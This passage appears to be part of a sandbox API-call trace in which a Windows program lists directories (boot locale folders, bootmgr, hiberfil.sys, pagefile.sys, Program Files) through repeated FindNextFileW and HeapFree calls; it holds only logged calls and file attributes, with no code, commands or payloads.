dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0159.269] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.269] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0159.269] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.269] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0159.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.271] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0159.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.272] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0159.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.272] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0159.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.272] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0159.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.273] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0159.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.273] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0159.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.273] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0159.273] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.273] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0159.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.274] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0159.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.274] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0159.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.274] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0159.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.274] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0159.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.275] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0159.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.275] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0159.275] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.275] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0159.276] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.276] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0159.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0159.493] FindNextFileW (in: hFindFile=0x4532480, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0159.493] FindClose (in: hFindFile=0x4532480 | out: hFindFile=0x4532480) returned 1 [0159.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.493] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0159.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.494] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0159.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.495] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0159.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.495] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0159.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.496] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0159.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.496] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0159.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.497] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0159.498] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.498] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0159.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.499] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0159.500] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.500] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0159.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.501] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0159.506] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.506] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0159.507] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.507] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0159.507] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0159.507] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.509] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0159.511] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.511] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0159.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.515] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x80d4dc79, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0159.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.536] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x8314fb5d, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0159.564] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.578] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa64e4d0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa64e4d0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0159.579] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4566710 | out: hHeap=0x710000) returned 1 [0159.579] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0159.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4577720 | out: hHeap=0x710000) returned 1 [0159.583] FindNextFileW (in: hFindFile=0x4532540, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x119, dwReserved1=0xfffffd1d, cFileName="ink", cAlternateFileName="")) returned 1 [0159.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.584] FindNextFileW (in: hFindFile=0x4532640, 